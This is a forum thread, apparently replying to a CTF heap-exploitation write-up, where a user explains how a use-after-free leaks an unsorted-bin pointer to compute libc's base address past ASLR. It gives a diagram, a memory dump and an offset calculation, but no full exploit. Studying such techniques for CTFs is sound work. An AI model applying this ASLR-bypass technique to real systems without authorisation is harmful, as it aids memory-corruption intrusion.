I was trying this challenge and couldn’t solve it by myself :confused:
So thanks !

1 Like

Glad I could help!

Make sure to google/youtube for more write-ups on this challenge because heap exploitation is kinda “hybrid”. As in, the approaches can differ and maybe a different technique could be more intuitive to you compared to the one I presented.

1 Like

Hi @_py,
I’m a newbie so can you explain why do you have a expression

libc        = leak - 0x3c17b8

I don’t understand where is 0x3c17b8 come from?
Thank you ^^

Hi @cmderpt,

Assuming you’ve understood the theory behind malloc (main arena, bins etc), it’s not hard to understand why I did it. It’s known that there is a UAF vulnerability and I abuse that to leak libc’s base address. When a chunk (either small or large chunk) is free’d, it’s placed in a doubly linked list. That linked list has as HEAD the libc itself. All the linked lists which malloc uses in order to keep track of the free’d chunks start within libc.

That being said, 0x604140 is a small chunk and once free’d it will be placed in the unsorted bin, which is simply an array of pointers which extends to linked lists.

Here’s a simple illustration:

Unsorted bin before:
              Head
main_arena: + - - - +  fd
            |       | -----> NULL
            |       |
NULL <----  + - - - +
       bk
Unsorted bin after:
              Head           0x604140
main_arena: + - - - +  fd    + - - - +  fd
            |       | ---->  |       | ----> HEAD
            |       |   bk   |       |
      +---- + - - - + <----  + - - - +
      |                          ^
      |                          |
      +---------------------------
                    bk             
0x604140:	0x0000000000603110	0x0000000000000091
0x604150:	0x00007ffff7dd37b8	0x00007ffff7dd37b8

So as you can see the recently free’d chunk points back to the HEAD (0x00007ffff7dd37b8) of the doubly linked list (which is nothing else but libc) since it’s the only one there currently.

Now by taking advantage of the UAF we can still dump the contents of 0x604140. Even though ASLR is on, the libc pointer which has now populated the free’d chunk has a constant offset distance from libc’s base. All I did was find libc’s base address in GDB and then subtracted it from that unsorted bin address.

Python 2.7.12 (default, Nov 20 2017, 18:23:56) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x00007ffff7dd37b8 - 0x7ffff7a12000)
'0x3c17b8'

And that’s how I got libc’s base address dynamically. Keep in mind the offset might differ on your system. I hope I made it clearer.

4 Likes

Thanks for your explain but I still have an another issue. How to know 0x7ffff7a12000 (base address of libc) if I can’t do anything (e.g debug, ld,… ) except connecting to socket

As long as you have access to the binary, you can do the aforementioned. If you’re talking about blind exploitation (blind ROP, blind format string attack), you just gotta leak multiple times.

2 Likes